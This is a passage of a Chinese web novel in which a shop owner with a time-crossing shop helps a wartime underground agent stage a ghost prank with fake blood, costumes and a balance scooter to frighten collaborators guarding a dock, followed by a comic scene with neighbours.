到时候不只是任务失败那么简单，接头的同志会遭遇不测，云城站会受到无法想象的影响，损失不可估量。 她一力扛下的任务，绝不能在她手上出乱子。 萧妧妧当即意识到事情的严重性，难怪苏娇娇急得吃不下东西，执着地守在门边看对面的情况。 苏娇娇怕打扰她思考，不敢吱声，又蹲回去守门。 萧妧妧撑着下巴，转动快要生锈的大脑。 眼神放空无意识乱瞟，瞄到门口随风飘荡的晴天娃娃，萧妧妧一激灵，脑海中灵光闪过。 【作者有话说】 [玫瑰]幻言预收：《请和你老公离婚》 文案： 35岁生日刚过，老公公司破产，家里负债千万，为还债，云芸决定进入家政行业。 住家阿姨感念她的好，告知一个好去处，南城首富顾家正在招聘保姆。 包吃包住月薪五万，工作内容只是照顾首富家那对脾气古怪的叔侄。 当了多年全职太太，云芸的厨艺非常出色，又有熟人介绍，于是顺利拿到工作。 签下协议时，云芸对新工作很有信心。 直到她搬进宅子。 顾野：你这样的女人我见得多了，我倒要看看你怎么勾引我叔叔 顾仲声：你只是顾家的保姆，少打歪心思 云芸有口说不清，没人相信她是为了赚那五万月薪。 叔侄俩都不好惹，云芸为了保住工作，只好格外细致谨慎。 可不管她如何小心，他们总是用幽深目光盯着她，如狼似虎。 云芸实在扛不住，凑齐女儿学费后，果断提出离职。 顾仲声：五千万，立刻和你老公离婚 顾野：我比你老公有钱，比叔叔年轻，你到底哪里不满意？ 22 第22章 ◎“鬼”点子◎ “娇娇姐,守着码头的人大概有多少？是外国人还是二鬼子？” 苏娇娇观察了一晚上，心里一清二楚，道：“三十多个，都是二鬼子。” 萧妧妧叉腰,兴奋挥拳,“那我有办法了！” “真的？你想到什么办法了？需要我做什么？” 萧妧妧晃了晃食指,笑得不怀好意,“保密，我只能告诉你,是‘鬼’点子。” 苏娇娇面露怀疑，“……鬼点子,能行吗？” 那伙人凶恶，手里还有枪,不容易对付。 苏娇娇担心她轻敌，想要再说点什么,萧妧妧自信抬头,“对付外国人不好说,对付他们肯定没问题。” 她胸有成竹的样子,让苏娇娇没来由的安心,吞下要出口的话。 萧妧妧在一旁来回踱步，盘算用什么道具才能鬼里鬼气，冷不丁想起几样东西，拔腿就跑。 “妧妧那里是……墙。” 最后一个字没能说完,萧妧妧已经冲进大白墙，消失不见。 “萧老板真厉害啊。” 苏娇娇跟上去,手指戳在墙上感受墙体的硬度,瞪目结舌的赞叹。 萧妧妧忙着搜罗东西,苏娇娇也不闲着，打起精神，盯着特务们的一举一动，寻找巡逻换班规律。 盯了一会，她又不放心地找来纸笔，画出码头的轮廓布局和巡逻路线。 “呼呼……累死我了。” 苏娇娇搁笔半个多小时左右，萧妧妧终于赶回来。 抬头看到她大包小包背着，肩膀还扛着一个什么，看起来比她人还大，苏娇娇忙上前搭把手。 “这都是什么？”她问。 萧妧妧气喘吁吁地说：“是好东西，等会用得上。” 说着放下大小包，扔下肩上重物，又跑去后院抱来一箱纱布。 “一二三……哦，还差一样东西。” 萧妧妧盘点一圈，转身跑出去，再回来，手里多了一盆……血？ “不，只是人造血浆，”萧妧妧找了个安全地方，小心放下血浆，“娇娇，你那边还没到晚上吧？我们动作快点，这个点子在深夜用最有效果。” “对，还是中午呢，”过了一会，她卷起袖子又问：“我能做些什么？” 苏娇娇环顾脚下这对杂七杂八的玩意，一脸茫然，看不出来要怎么利用到一起。 萧妧妧想了想，拆开十几包纱布堆成小山。 “弄点血上去，血淋淋的那种，”她从柜台后面找出手套，递去一双给苏娇娇，“喏，戴上，别脏了手。” 苏娇娇将信将疑，这真能成？感觉更不靠谱了呢。 她的表情太明显，萧妧妧无法忽略。 “哎呀，不要小看我的技术，这是我的专业！每学期交大作业的时候，道具都是我亲自动手，可逼真了。 再说，糊弄那群没见过世面的二鬼子容易的很，我有高科技产品帮忙。” 萧妧妧信誓旦旦，苏娇娇反而不自信起来，她一边听话地用血浆浸湿纱布，然后挪到不锈钢托盘里备用，一边质疑。 “他们那样的人，手上都沾过几条人命，我猜你想弄假尸体吓唬他们，可他们见得多了不一定怕。” 萧妧妧更得意了，眉飞色舞，“谁说只有尸体了……娇娇姐，有我的小卖部在，那才更吓人嘛。” 她意有所指，意味深长，苏娇娇一顿，好像想到什么，又好像什么都没想明白。 萧妧妧看一眼时间，“娇娇姐，你先弄着，我要回家一趟，还有个道具在家里呢，那可是关键。” 说着，萧妧妧又转身出门。 苏娇娇等她走了，转身去扒拉那些大小包装袋。 一堆白布、绣花鞋、假发套……还有一些她认不出来的东西。 苏娇娇叹息，事已至此，她只好全力配合萧妧妧，说不定真有奇效呢。 萧妧妧再回到小卖部是二十分钟后的事，抱着一个纸箱子吭哧吭哧进来。 “扮得像不像，全靠这家伙了，”她抬头看向苏娇娇，“娇娇姐，你的重要任务来了，学会它们！” 苏娇娇好奇上前，打开纸箱子，看着里面造型古怪的玩意，表情空白。 “它们是？” 萧妧妧先拿出平衡轮示范，在苏娇娇越瞪越大的眼眸中看到不可置信的目光后，又换了电动平衡车玩给她看。 “这两样效果差不多，娇娇姐，你随便学会哪个都可以，”她跳下地面，接着说：“其实平衡车对你来说会简单点，上手快。” 萧妧妧把两样东西都挪到院子中，“娇娇姐，来试试，我扶着你上去。” 苏娇娇后悔了，连连摆手后退，“不行的，我会摔，我真不行。” 萧妧妧：“放心，我在这呢。” 她目光坚定，闪烁着光芒，苏娇娇想，萧老板都为她拿出这么多高科技玩意，她怎么也该拼尽全力。 “好！我试。” 苏娇娇一脸即将赴死的壮烈，双手紧扒着萧妧妧，两腿颤巍巍地踩上平衡车。 萧妧妧险些让她勒得喘不过来气，可看苏娇娇明明很胆怯，手指因过度用力而发白，却还是紧咬嘴唇，辛苦坚持，萧妧妧便不好说什么，默默陪着她。 大约绕了几圈，苏娇娇慢慢发现平衡车足够平稳，像萧妧妧说的那样，想去哪去哪，不用迈开腿，渐渐享受起来。 “妧妧，你看我这速度够不够？” 萧妧妧拍着巴掌大声鼓励，“对对对，娇娇姐真棒，你再多练练，尽量练得飘飘欲鬼。” 飘飘欲鬼…… 苏娇娇眼睛微睁，一下子明白了萧妧妧的打算。 “我知道了，”苏娇娇笃定说道：“你想让我踩着这个轮子扮鬼！” 萧妧妧嘿嘿笑，大方承认，“娇娇姐真聪明，就是扮鬼。” 这招放在万圣节不值一提，但放在几十年前，大多数人还相信神神鬼鬼的年代，简直绝杀。 如果再来一招突脸杀，这得是多大的心理阴影啊。 尤其有小卖部和高科技物品的加持，效果绝对拉满。 就是听起来有点扯，好像在胡闹一样，萧妧妧一开始是真不敢和苏娇娇直说。 苏娇娇有些犹豫：“我那里快到中元节了……会不会……？” 别人先不说，苏娇娇自己是有点怕的，中元节扮鬼，正常人谁干得出啊，吓都吓死了。 萧妧妧闻言嚯了一声，中元节、老码头、漆黑深夜……天时地利人和，她们全占！ 没等萧妧妧开口说服她，苏娇娇几个深呼吸，已经安抚好了自己。 她双拳紧握，声音紧张到略微颤抖，“没关系，就按你说得办！恰逢中元节，确实是天时地利人和。只要老码头乱起来，我能趁乱上船，后面的问题都好解决。” 萧妧妧灵机一动想到的法子得到认可，整个人轻飘飘，兴致勃勃拉着苏娇娇讨论怎么把事情闹大。 苏娇娇一边练习平衡车，一边听萧妧妧嘀嘀咕咕。 等萧妧妧从恐怖片找到一些灵感，马不停蹄回小卖部准备道具。 纱布一层一层覆上人形道具，手臂腿脚部位留出长长的纱布条，营造出随风飘的感觉。 买来的新鲜肥肠免去清洗步骤，沾了血浆后就往道具腰腹部位固定。 正忙着，又是一声欢迎光临，小卖部的后门来客人了。 “萧老板，我来……” 人未到，声先至，在看清店铺里的景象后，申明月的话音戛然而止。 她站在门边一脸懵逼，看着血呼啦擦的小卖部迈不开步子。 这是……出事了？ 申明月提刀横在胸前，神情戒备。 萧妧妧忙得不行，头也没抬，便看不到申明月又一惊一乍地抽出了长刀。 她一边裹纱布，一边招呼顾客，“你先进来逛逛，我正忙着呢，等会招呼你啊。” 申明月扫视一圈，没感觉到危险，收了长刀走到萧妧妧身边，歪着头打量她手下的……尸体？ “萧老板这是忙什么？”她问。 萧妧妧笑嘻嘻的解释：“客人有困难，我这是帮着想办法解决呢。嘿嘿，这不是尸体，你别怕，我们是在装神弄鬼。” 申明月咀嚼装神弄鬼一词，扭头看外面同样忙个不停的陌生女人，她穿得比萧老板还要怪异。 申明月收回目光，蹲下身，两指捏起纱布和染了块块血迹的白布。 “装神弄鬼……” 一字一顿的重复几遍，申明月若有所思的神情一变，豁然开朗。 对啊，装神弄鬼！ 萧妧妧说了好几句，身边却没人应声，等她疑惑抬头，环顾四周，发现申明月早没了身影。 “奇怪，难得来一次，怎么这就走了……” 嘀咕几句，萧妧妧想不出所以然，继续埋头苦干。 23 第23章 ◎请开始你的表演◎ 萧妧妧拿出赶毕业大戏的劲头,尽心竭力，一丝不苟。 甚至写了剧本台词，以及对应的肢体动作，方便苏娇娇尽快入戏。 下午三点一刻,萧妧妧准备完毕,苏娇娇那里也练得差不多。 她从塑料袋里扒出一堆白布,在苏娇娇面前抖了抖,“换上吧，我们这里的古装戏服。” 电视剧里灯光一打,看起来仙气飘飘，等苏娇娇换上,在中元节的夜晚忽隐忽现，那就是鬼气飘飘。 想到苏娇娇可能不会穿,主动带她去客房。 再出来，苏娇娇一身白衣,头发披散。 萧妧妧找出粉底液眼影盘等一堆化妆品,翻出三张照片摆在苏娇娇面前。 “喜欢哪张脸？我来给你化。” 苏娇娇瞄一眼,嘶了一声,哪张她都不喜欢。脸蛋惨白惨白,眼睛黑洞洞的，嘴巴猩红，吓死个人。 “你看着办吧，太可怕了。” 苏娇娇捂着眼睛偏过脑袋,不想多看一眼。 萧妧妧噗呲一笑，自己做主挑了一张经典的女鬼妆容。 “好了,苏人美女士,接下来我要给你弄假发套了,请坐。” 苏娇娇依言坐在她身边，眨巴眼睛，努力适应美瞳，“苏人美是谁？为什么这个美瞳看着红红的，戴上以后毫无变化？” 萧妧妧一一解释，调整发套的时候，忽然嗅到浓厚的化妆品香气，回房间拿来一瓶香水。 “以前跟风买的香水，买回来发现味道很奇怪，有朽木的味道，老房子的味道，腐败的味道，就是没有香味。” 她抓起苏娇娇身上的白色戏服，疯狂按动喷头。 “够了够了，你都喷了半瓶了。” 苏娇娇眉头紧皱，一手捂着鼻子，一手挥去浓郁味道。 萧妧妧：“别怕，留香很短，走几步就散了。” 说着，她逮住要跑的苏娇娇，多喷了两下。 苏娇娇抖抖衣袖，鼻翼翕动，回忆片刻后，评价道：“像老家宅子里的佛堂、宗祠会有的味道。” 萧妧妧闻言，像找到知己一样高兴。 挑口红时，萧妧妧选了一根自己凑单买回来的正红色。 她长相偏明媚，涂正红色口红攻击性太强，美得太过锋利、浓艳，抹在苏娇娇脸上刚好合适，像血盆大口。 萧妧妧憋笑完成了全部妆容，苏娇娇好奇极了，想知道自己变成什么样，偏又不敢照镜子，抓耳挠腮。 “别抓，假发片扯下来容易穿帮。”萧妧妧阻止。 苏娇娇只好忍着，正襟危坐。 “这是找阿婆借的旧绣花鞋，你将就穿，到时候把鞋子留在码头，要整整齐齐摆放的那种。” 萧妧妧递来一双大红色绣鞋，一双白色袜子，看着苏娇娇穿上，指了指旁边平衡车，示意她上去。 苏娇娇装扮齐全，避开院中能倒映她面容的玻璃窗，挡着脸上了平衡车。 “松弛一点，娇娇姐你看起来很紧绷，不够飘。” “对，像我这样，肩膀垮下来……” “身体微微前倾，四肢无力，垂在身侧。” “眼神不对，不要飘移，要直勾勾地盯着某一个人的眼睛，对……等等，你别看着我，看别的地方。很好，像发呆一样，表情管理要跟上。” 188号不算宽敞的小院中，一身白衣的苏娇娇踩着平衡车在院中飘来飘去，热得浑身冒汗也不敢叫停。 为什么萧老板没告诉她，扮鬼竟然有这么多讲究啊！ “对对对，就是这样，一定要浑身散发怨气。” “想象你是一个社畜，每天坐在工位上忍受资本家压榨剥削，深夜下班睡在棺材大小的串串房……” 苏娇娇顶着一张鬼脸回眸，“社畜是什么意思？串串房又是什么？” 我勒个奇迹娇娇……把温婉大美女化成这鬼样，造孽啊。 萧妧妧默了默，撇开视线，“好吧，我觉得你不需要懂。” 苏娇娇多看她两眼，一转身，特意绕去萧妧妧面前，缓缓飘过，又缓缓飘走。 萧妧妧没给她眼神，抬头望天。 啊啊啊啊啊啊她也怕鬼啊！ 苏娇娇挡着脸嗤嗤笑，肩头耸动。 调教了大约半个多小时，萧妧妧总算满意目前的效果了，和鬼片里呈现出来的画面大差不差。 但还不够刺激，不够震撼。 缺了什么呢？ 萧妧妧捏着下巴思索，足足有一分钟，眼睛唰一下亮了。 “我知道缺什么了！” 嚎了一嗓子，萧妧妧来不及知会一声，风似地刮过小卖部。 人影消失，苏娇娇长舒一口气，马上拉来板凳坐下休息。 萧妧妧跑了两个市场才买回需要的东西，拎着包回到小卖部已经是傍晚时分，晚霞漫天。 苏娇娇终于把人等回来，再晚一点，她就忍不住打电话了。 萧妧妧一抹汗，开始找教学视频，主要是给苏娇娇教学。 “天哪，这么大的火……我做不到的。” 苏娇娇一边看一边跟着动作模仿，模仿一遍又一遍，仍旧想不通。 是怎么做到手一挥，空中便能燃起一片火光的啊？ “你可以的，”萧妧妧把道具摆放在她面前，“喏，我都准备好了。” 苏娇娇诧异地看着一叠普普通通的纸张，还有一碗普普通通的粉末。 “这能行吗？” “娇娇姐，你可别小看它们。” 萧妧妧把东西搬去院子中，现场演示。 苏娇娇眼睛一眨不眨地盯着她捣鼓，并暗自评估。 折纸不难，好学； 点火不难，好学； 把纸扔出去不难，非常好学； 挥手更没有难度，有手就行； 火焰瞬燃也……等等！它就这么燃起来了？ 苏娇娇眼睛瞪得溜圆，血盆大口微张。 萧妧妧根本不敢抬头，埋着脑袋解释：“这是魔术纸，回头我在小卖部点燃它，你只需要站在门口，手从背后伸回来接走，再像我这样，把它扔出去，效果是不是很炸裂？” 苏娇娇愣愣点头，“……炸裂。” 即便看过演示视频，再看萧妧妧亲自上手演示，苏娇娇仍是感到震撼。 如果这一招控火魔术搭配自己的装扮……苏娇娇憋不住笑出了声。 “妧妧你可真厉害，我都能想象到他们吓得落荒而逃的样子，用不着第二天，码头闹鬼的传闻一定沸沸扬扬。” 越想，苏娇娇越激动，恨不得现在就去吓死他们。 萧妧妧拦住人，递去剧本，“进店口令和范围我已经调整好，你可别喊错了。” 苏娇娇拿着A4纸颠来倒去，萧妧妧才反应过来，她看不懂。 “这样吧，我从头到尾演示一遍，娇娇姐你记住我的动作，用在他们身上。” 苏娇娇重重点头，认认真真看萧妧妧演示。 暮色降临，细碎星光在夜空闪耀。 月牙巷188号小院中，尖利刺耳的怪笑终于消失。 “没问题的妧妧，我们现在开始吧？” 小卖部那扇连通各个位面的假门前，萧妧妧全力配合，吊起血淋淋的人形道具。 苏娇娇信心满满，双手抵在道具后背，蓄势待发。 她紧盯门外，只等巡逻的人经过并走出一定距离。 “来了。” 得到信号，萧妧妧连表情都在用力，绑在道具四肢上的钓鱼线瞬间绷紧并顺利穿过结界。 准备完毕，她低声喊了一句：“Action！” 苏娇娇：“……？” 萧妧妧改口：“请开始你的表演。” 24 第24章 ◎“你们听我解释！”◎ “马队长自己躲屋里不出来,派我们大晚上巡逻。” “嗐，走吧，谁让是咱们把人跟丢了呢。” “你说稀奇不稀奇，我眼睁睁看着那婆娘进了老码头,搜了两天,结果啥也没看到。” 打扮成码头劳工的四人列成一队,吊儿郎当溜达过去。 走在最后面的许大壮脚步一顿,耳尖动了动，“你们听见什么声音没有？” 前头三人懒洋洋回答,“这不到处是浪的声音吗？” 许大壮困惑摇头，“不,不是那个……我听到有女人在笑。” 前面有人扭头笑着调侃，“大壮,我看你是想百合小姐……” 然而没等他说完，话音戛然而止,笑意渐渐淡去,平头男人直愣愣望着许大壮后面,瞳孔紧缩。 “阿财？你说话啊,发什么愣。”许大壮看他一动不动堵在前面,忍不住催促。 阿财缓缓抬起手，“那个……你们看看那是什么？” 其余三人闻言，不明所以，齐齐转身看向身后。 “嚯。” “嘶。” “谁啊,怎么跑这儿上吊来了。” 猛地看见身后冒出一具裹满纱布的尸体，大家吓一跳,随即淡定打趣。 尸体嘛,谁没见过啊。 阿财吞了吞口水,声线飘忽，“可我们刚刚过来时，那里什么都没有吧？” 这话一出，大家面色一变，彼此对视一眼。 “你们、你们别吓唬人啊……马队长等着我们回去交班呢。” “不对，你们仔细看，它是飘起来的，上面没有绳子。” “当然没绳子，这里连个挂的地方都没……” 阿财像是让人掐住了喉咙，后半句话死活说不出口，大家跟着沉默下来，周遭忽然沉寂。 “假的吧……有人装神弄鬼！” “要不，上去看看？” “看什么看，我们明明搜过，那里什么都没有。” 吵嚷了几句，四人脸色唰一下惨白，明明是潮热的夏夜，脊背却迅速发凉，腿脚不自觉地颤抖。 “别怕，不可能有鬼的，肯定是太黑了，我们看错了。” “手电呢？都把手电掏出来。” 许大壮克制着发抖的声音，强撑着掏出手电筒，暖黄光线摇摇晃晃，艰难对准。 头上没绳子，脚下腾空三四尺，身侧空无一物，没有借力的条件。 再看尸体，身上肠子血淋淋，半脱落的纱布随夜风张牙舞爪。 而尸体后面，浓白雾气霎时间弥漫开来，好似云雾托起尸体，缓缓向前飘来。 “鬼啊！”*3 惨叫声响彻夜空，那具看不到脸的尸体陡然发生变化。 最先是从看不到面容的头部开始，像失控的水龙头，血水喷涌，浸湿白色纱布。 继而是四肢、胸口、腰腹，越来越多的血水渗透出来，淅淅沥沥，哗哗啦啦，这点细微的声响，在此刻竟比海浪声还要刺耳。 眨眼工夫，白色纱布全部浸成红色，地面很快汇集出一大滩红色液体。 这根本不是一个正常尸体能拥有的血量！ 伪装潜入的四人绷不住了，从呆滞中回过神，他们早忘了不能打草惊蛇的命令，嘶喊着跑远，腿软到发抖也要跑，拼命跑。 许大壮手脚并用，连滚带爬，先一步回到老码头的售票口。 “队长！马队长，老码头、老码头……”许大壮受了惊吓，又一路狂奔，差点喘不上来气，“出事了，闹鬼了！” 马队长气不打一处来，“让你跟踪你们把人跟丢了，让你们潜入巡逻，你们跟我说闹鬼？” 光是说几句不解气，马队长一脚踹过去，“少特么糊弄老子，说，到底什么事？” 许大壮哆哆嗦嗦，牙齿都在打颤，“真的、真的，好多血，好多好多……” 他双眼呆滞，反复念叨着好多血，像个傻子一样。 马队长更气了，抽出枪要抵上许大壮脑门，没等他抬手，腥臊味弥漫。 低头一看，地上多出一滩黄色液体。 吓尿了？ 马队长气得不知道骂什么好，指着许大壮无话可说。 “队长，出大事了。” “有鬼！老码头有鬼，它会飘，它流了好多好多血！” 就在这时，搭档巡逻的另外三人挂着如出一辙的惊恐表情狂奔过来，没到门口，远远就听到他们吱哇乱叫。 等人跑近了，灯光一照，好家伙，几人吓得鼻涕眼泪一大把，身子抖成了筛子。 整个小队都这般，老码头必然有情况。 躲在屋里守株待兔的另外几个小队纷纷掏枪起身。 马队长看到地上四人就烦，忒不争气了，联合行动还敢给他丢人，于是一人一脚踹倒，招呼兄弟们出去查看。 “把那四个怂货架起来，让他们仔细看看，到底是人是鬼。” 鬼？别开玩笑了，肯定是那些人的小花招。 马队长摩拳擦掌，跃跃欲试。 好啊，藏了这么久，终于熬不住露面了，不枉费他们没日没夜地围捕。 马队长气势汹汹，带着手下三支行动队共计二十七人一起出发。 才逃回来的四人急哭了，“真的是鬼，就飘在天上，肠子拖地…” “队长，我们真没撒谎，你们是没看到，脑壳上面那个血啊，跟泼出来一样。” 马队长大步向前，跟在后面的其他人心里直打鼓，一个个摸上腰间手枪。 “哪呢？鬼在哪呢？尸体在哪呢？” 一行人浩浩荡荡赶到老码头，除了他们自己的脚步声，只有浪花拍岸的动静。 马队长环视一圈，周围黑黢黢，什么都没有。 四人惨兮兮抱成一团，远远躲在队伍后面，闻言，他们大声反驳，“不可能，货箱，就在货箱附近。” 马队长翻了个白眼，抢来手电筒扫射对面成堆的货箱。 “血！血还在！” “在那里，我也看到了！” “好多血！” 顺着阿财指的方向打灯，大家果然看到了大片血迹，行动队霎时骚动起来。 “闭嘴！嚷嚷什么呢？”马队长瞪了一眼怂包手下，“这点血就吓到你们了？走，都跟我过去看看。” 马队长谨慎许多，警惕观察一会才敢上前，而身后的人犹犹豫豫，迈步都不敢。 走出去几步，马队长见他们没人跟上，怒气飙升，叉着腰朝众人骂骂咧咧。 “一个两个怂包，你们手里的枪是摆设吗？” “都给我跟上，再让我看见你们这怂样，老子先毙了你们！” 眼神恶狠狠扫过众人，看大家垂头耷脑闷不吭声，马队长又去看许大壮和阿财四人，见他们一副快要晕死的虚弱情态，脸色唰的一下沉下来。 “后面……在后面……”许大壮指着马队长侧后方，双目圆瞪，低声喃喃。 马队长眉头一皱，“许大壮！你瞪我是什么意思？我骂错了？还是对我有什么不满？” 然而怒吼刚出口，许大壮扛不住了，“噗通”一声，整个人像抽了骨头似的软绵绵晕倒在地。 旁边苦苦支撑的阿财发出一声惨叫，眼白一翻，晕倒。 两人的反应大家都看在眼里，这会是情不自禁的头皮发麻，心脏怦怦跳。 胆小的已经闭上眼睛，有胆大的，顺着他们晕倒前最后看去的方向扭头…… “鬼、鬼来了！” 自诩胆大的平头男死死瞪着前面，眼神空洞，神情惊惧万分。 马队长受不了他们一惊一乍，还想再斥骂几句，忽然间哽住，腿脚不由发软。 二十多人不知道什么时候，齐刷刷地望向马队长身后，他们黝黑的眼底，倒映出的白色物体正迎着昏黄光线，缓缓飘来。 腐朽的气味钻入鼻腔，马队长浑身一僵，额角冷汗滴滴滑落，没入衣领。 他强装镇定，吞了吞口水，缓慢而僵硬地转过身…… “啊！！！” 一张鬼脸悄无声息的出现在自己身后，血红的眼睛，惨白的脸，诡异的笑容。 马队长吓得三魂七魄离体，倒退时一踉跄，直接跌倒，浑身被冷飕飕的白色雾气包围，冷气仿佛穿透皮肉，冻住筋骨，让他忘记做出反应。 尖叫过后，他意识到自己手心里攥着枪，才想起来招呼手下人火力压制，那女鬼好像能看出他想法一样，倏地急速倒退，鬼魅白影隐没在浓浓雾气中。 等子弹上膛，他们慌手慌脚准备射击，女鬼发出一声“还我命来”的凄厉嘶喊后，直接消失在眼前。 十几发子弹全打在货箱上。 “是女鬼，真的是女鬼。” “她是飘起来的，她眼睛像血一样！” “不会错的，她刚刚在货箱前面消失了！” “一定是中元节鬼门开了，一定是鬼。” 马队长已经失去了所有力气和手段，颓然地躺倒，失神呢喃，“真的是鬼，真的有鬼……” 他不会看错也不会听错，那个女鬼飘在半空，阴冷气息侵袭全身，他听到女鬼在他耳边叫他名字，还让他回头看看她。 “去，去叫人，多叫点人！” 二十多个青壮年吓得走不动道，好半晌才相互搀扶着站起，踉踉跄跄往回跑。 马队长心里还有疑虑，跑了几步没忍住回头去看，不看还罢，这一扭头，女鬼再次出现，四周浓雾弥漫，包裹着她。 而她，竟追在他们身后，幽幽飘来。 “快走、快走，女鬼追来了！” 不知道谁喊了这么一句，大家尖叫着奔逃。 或许是前面十几枪的动静引起了宪兵队的注意，行动队一行人刚跑出去百来米，前面传来了整齐划一的脚步声，列成两队包围过来。 马队长高悬的心脏总算回到胸腔，他回身指着身后忽隐忽现的白色鬼影。 “有鬼！有鬼！快开枪！” 宪兵队的人低声骂了一句，绕开马队长上前查看。 却在这时，紧跟了一路的女鬼突然停下，歪着脑袋看大家，咧开血盆大口。 宪兵队里传来叽里咕噜说话声，不一会，身后队列齐刷刷举起枪。 那女鬼果真是不怕枪，狞笑着冲过来。 马队长畏畏缩缩躲在后面，他看得清楚，连宪兵队的人都怕了，小腿颤抖。 更可怕的是，女鬼原本扭曲的双臂突然展开、扬起，再挥舞，仿佛施法一样的动作后，女鬼的手心竟然飘起绿色火苗！ 火苗的出现吓到所有人，没等大家回过神，那女鬼一扬手，一道火光瞬间燃起，向空中喷射。 “队长，是妖怪，是会控火的妖怪！” “好大的火*，她会妖术！她会腾云驾雾！” “怎么办队长，她冲过来了，我们会不会死啊？” 马队长哑口无言，他不知道，什么都不知道，傻愣愣立在原地。 “还我命来！” 阴恻恻的呐喊格外响亮，在深夜的老码头回荡，清晰的好似在他们耳边说话。 会控火的女鬼越来越近，激烈枪声陡然响起。 马队长紧闭眼睛不敢再看，等到前面有人叽里咕噜说什么的时候，他缓缓睁开一只眼。 黢黑，潮热，海浪，成堆的货箱，等待靠岸的货船，以及……一双红色绣花鞋。 ………… 不倒闭小卖部。 苏娇娇赶在枪响之前躲进门，一进来，整个人瘫软在地，急促喘息。 “你这招突脸杀真好用，已经吓晕好几个。” “妧妧你都没看到，我就在几个大货箱中间飘来飘去，又在他们面前突然消失突然出现，他们都吓尿了。” 苏娇娇正亢奋着，小嘴吧嗒吧嗒描述他们的惨状。 萧妧妧半捂着脸，快要哭了，“求你了娇娇姐，你别对我笑……” 苏娇娇一下子收敛笑容，捏住袖子挡住自己的脸，“抱歉抱歉，我忘了。” 她赶紧侧过身，尽量让正脸对着外面，“我特意等人多的时候使出那招控火术，天呐，他们吓疯了，拼命开枪。” 萧妧妧一直在店铺里打配合，虽然看不到外面什么景象，但她能听到声音啊，再有苏娇娇一遍遍复述，对面的状况可以想象。 “太吓人了，你说三十多人，没想到会冒出来七八十人，更没想到，苏人美的杀伤力这么大。” 听到叽里咕噜的鸟语时，萧妧妧心头沉重，不敢想象码头围了那么多人，如果苏娇娇没有进小卖部躲藏…… 好在苏娇娇演技过关，心理素质过硬，完美谢幕。 否则时间长了，众目睽睽之下难免穿帮。 苏娇娇此刻是浑身轻松，笑盈盈的说：“不会穿帮的，我很谨慎，就算跟着他们也是远……撤了撤了！他们撤走了！” 说到一半，对面忽然有了变化，苏娇娇激动地爬起来。 “机会难得，我要赶紧上船，”苏娇娇摘下假发套，脱掉罩在外面的肥大戏服，“妧妧，我的脸怎么办啊？” 萧妧妧担心她赶时间，早有准备。 “喏，卸妆湿巾，你先凑合把脸擦了，”鼓囊囊的小包塞进苏娇娇带来的菜篮子里，“美瞳别乱扔，小心让人看见察觉，回头包起来带给我，我来扔。” 苏娇娇飞快扯下戏服和假发片，“唉，我记得了，过几天我再来，谢谢你啊妧妧。” 萧妧妧嗐了一声，摆摆手，催着苏娇娇快去办正事。 机会难得，苏娇娇没跟她客气，挎上篮子转身离开。 假门啪嗒一声合上，萧妧妧深呼吸，抹了一把脑门上的汗。 真刺激啊。 歇下来后，萧妧妧才发现浑身湿透，不止出汗，胳膊也因为用力过猛，酸疼得厉害。 但小卖部乱糟糟，萧妧妧没时间再歇，麻溜爬起来打扫卫生。 平衡车放进仓库，魔术纸塞进柜台，人造血浆还剩下一点，找个瓶子装起来备用。 对了，还有人形道具，当时紧急，撤回来后丢在地上没管，这可不行。 萧妧妧只好捶了捶胳膊，活动片刻，小臂穿过人形道具的腋下，一路拖回后院。 “欢迎光临～” 很不巧，往常没什么生意的时间点，偏偏来了两个客人。 萧妧妧偏头，看到走进门口的两人愣了愣。 而门口的那两人明显也愣在原地，诧异目光先是落在萧妧妧身上几秒，而后注意到她的动作，瞳孔紧缩。 萧妧妧心里一咯噔，伸出尔康手。 “你们听我解释！” 【作者有话说】 [让我康康]让我看看，是谁看到最新章了还没点收藏（指指点点） 25 第25章 ◎它只是个冲气娃娃啊◎ 小卖部左拐四百米不到的地方有派出所,电话打过去，警察上门只是眨眼的工夫。 警察来了……她就完了！ 萧妧妧：“千万别报警，事情不是你们看到的那样。” 黎行墨顿了顿，目光落在萧妧妧脸上,将信将疑。 他的眼神太好懂,萧妧妧轻易看出他们的质疑。 不能怪别人多想,地上一大滩血痕,旁边的黑色发套扔了一地，尸体道具过于逼真,怎么看都缺乏说服力。 再看萧妧妧，衣服上有大片血浆,瓷白肌肤留下道道血污，丸子头松垮垮要掉不掉,脑门上全是汗珠，一副刚杀完人的模样。 尤其她那双明媚的狐狸眼,绽放夺目神采,看起来亢奋异常,妥妥的激情杀人案发现场。 萧妧妧没办法,抓起肠子要给他们看,又觉得血淋淋更吓人，转而扒拉道具头部的纱布。 “它只是个充气娃娃，”萧妧妧拉来围裙擦干净充气娃娃的脑袋，捧着充气娃娃的脸强硬地扭过去,“真的不是尸体，红色的是人造血浆,你们别多想。” 萧妧妧豁出去了,在他们面前丢脸总比到警察面前丢脸好。 都是老街坊,邻里吵架打架没少进派出所调解，彼此之间熟悉的很，回头派出所出警，街坊们看到了一打听，萧妧妧在月牙巷就抬不起头了。 黎行墨迈步进来，观察一会后，随即露出微妙神情。 萧妧妧声线发紧，视线不由自主乱飘，“嗯……和朋友闹着玩，做的整蛊道具，呵呵。” 一旦说出充气娃娃几个字，再怎么解释听起来都很牵强，反而显得她欲盖弥彰、行为鬼祟。 萧妧妧莫名心虚，整个人控制不住的红温，低垂脑袋不敢看他们。 脚趾忙着扣地时，她听到黎行墨开口。 “大哥，这是住我们对面的邻居，萧小姐，云老师住在她家。” 萧妧妧僵硬地扯动嘴角，真是谢谢他了，弄得这么狼狈还能认出来。 只停顿了一会，另一道声音响起，“……春山居？” 黎行墨嗯了一声。 萧妧妧恨不得找个地缝钻进去，但话说到这里，她只好硬着头皮站起，双手藏在背后。 “两位晚上好我是住你们对门的萧妧妧这间小卖部也是我们家的我就不打扰你们了你们随意挑选。” 一口气不带停顿的说完，萧妧妧没给他们开口机会，使出前所未有的力气，扛起充气娃娃夺门而出。 黎行墨看她跑得飞快，默了默，转身走到柜台边。 “糟了，大哥我忘了小月亮要哪种口味的棒棒糖。” 后院，萧妧妧躲在门边偷看一眼，兄弟俩不知道在做什么，抱着手机磨磨蹭蹭。 小院黢黑，这么一看，露出一张极度仿真脸的充气娃娃怪渗人的。 时间紧，萧妧妧借不到合适又逼真的人形道具，顺手从垃圾站搬走了包裹严实的充气娃娃凑合用。 捡的时候没人看见，萧妧妧以为还回去也能悄无声息，哪知道事情结束了反而害得她社死。 